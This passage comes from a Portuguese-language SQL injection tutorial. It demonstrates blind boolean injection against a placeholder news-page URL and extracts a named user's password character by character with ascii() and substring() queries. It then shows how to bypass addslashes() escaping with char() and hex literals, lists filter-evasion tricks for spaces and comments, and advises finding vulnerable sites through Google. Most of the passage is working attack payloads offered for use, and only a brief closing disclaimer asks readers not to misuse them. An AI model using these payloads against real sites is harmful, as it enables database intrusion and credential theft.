Descobrimos também que ela tem as colunas user, pass e privileges por métodos citados anteriormente.

Para descobrir o conteúdo de alguma coluna é um pouco mais difícil, visto que temos que testar os

caracteres um por um em valor ASCII.

Vamos utilizar então as funções ascii() e substring().

Supondo que eu tenha algum nome de usuário em mãos, qualquer que seja o meio pelo qual o consegui,

basta eu pegar a senha. No exemplo, o usuário seria vitima e a suposta senha, senha, sem números e de

apenas letras. O correto seria utilizar letras maiúsculas e minúsculas em senhas, mas isso quase nunca

acontece, então podemos testar apenas com letras minúsculas.

Vamos dividir o alfabeto ao meio, pegando o caractere “m” (109) e checando se a primeira letra da senha

está acima ou abaixo de “m”:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1))

> 109

A página foi exibida, o que significa que o primeiro caractere está acima de „m‟:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1))

> 117

Agora a página não é exibida, pois „s‟ em ASCII é 115. Vamos tentar 113:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1))

> 113

A página é exibida, então temos um caractere ASCII entre 113 e 117.

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1))

> 114

TRUE novamente.

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),1,1))

> 115

FALSE! Isso significa que é 115! Ou, em caracteres, a letra “s”.

Para pegar o próximo caractere da senha, no caso, “e”, fazemos o mesmo, porém, vamos mudar a

substring:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user='vitima'),2,1))

SQL sem aspas

Provavelmente, enquanto estava injetando SQL em alguma página - não adianta negar que não tentou -

provavelmente, deve ter recebido um erro semelhante a este: -------------------------------------------------------------------------------------------------------

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near „\‟‟ at line 1

-------------------------------------------------------------------------------------------------------

Pois bem, o administrador tentou proteger seu sistema utilizando uma função que adiciona uma barra

invertida “\” antes de aspas duplas e aspas simples, a addslashes(). Como sabemos, podemos fazer

grande parte da SQL sem aspas , mas quando forem necessárias, podemos utilizar de vários meios para

burlar essa proteção. Um deles, para MySQL, é converter cada caractere para seu valor ASCII e utilizar o

seguinte formato:

char (11,22,33,44,55)

Em SQL Server, você pode utilizar uma solução parecida:

char (11) + char (22) + char (33) + char (44) + char (55)

Podemos ainda utilizar valores hexadecimais, precedidos por 0x, que indica o valor hexadecimal da

constante, deste modo:

0x1122334455

SQL Tricks (truques)

Bom, aqui estão algumas considerações que podem ser decisivas na hora de uma boa SQL:

• -- (dois sinais menos) são sinais de comentários “padrão”, mas dependendo do sistema, deve-se usar /*

ou #);

• às vezes, o sistema bloqueia espaços no campo de id, para burlar isso e juntar tudo, podemos utilizar

%20 no lugar de espaços e %27 no lugar de aspas simples;

• quando isso não funciona, podemos substituir espaços por char(0x20), por +, e em MySQL, às vezes,

por /**/;

• se estiver trabalhando em sistemas com que se orientam por IDs e números em geral, não use aspas

duplas ou aspas simples, pois não se usa qualquer tratamento diferente com números, ao contrário das

strings;

• scanners são para lammers, se quiser achar alguma página vulnerável, utilize o Google;

• tudo varia muito, cada site tem sua própria plataforma, dialeto, padrões e forma de trabalhar diferente,

aqui eu procurei ser bastante genérico falando do SQL Server e do MySQL, mas não disse tudo;

Finalizando

Eu gostaria de pedir que o caro leitor não utilize este conhecimento como lammer, ou como script-kiddie,

mas sim como um ser humano maduro que “hackeia” apenas para contemplar as falhas do sistema.

Creio que com esta matéria eu tornei o mundo o lugar melhor.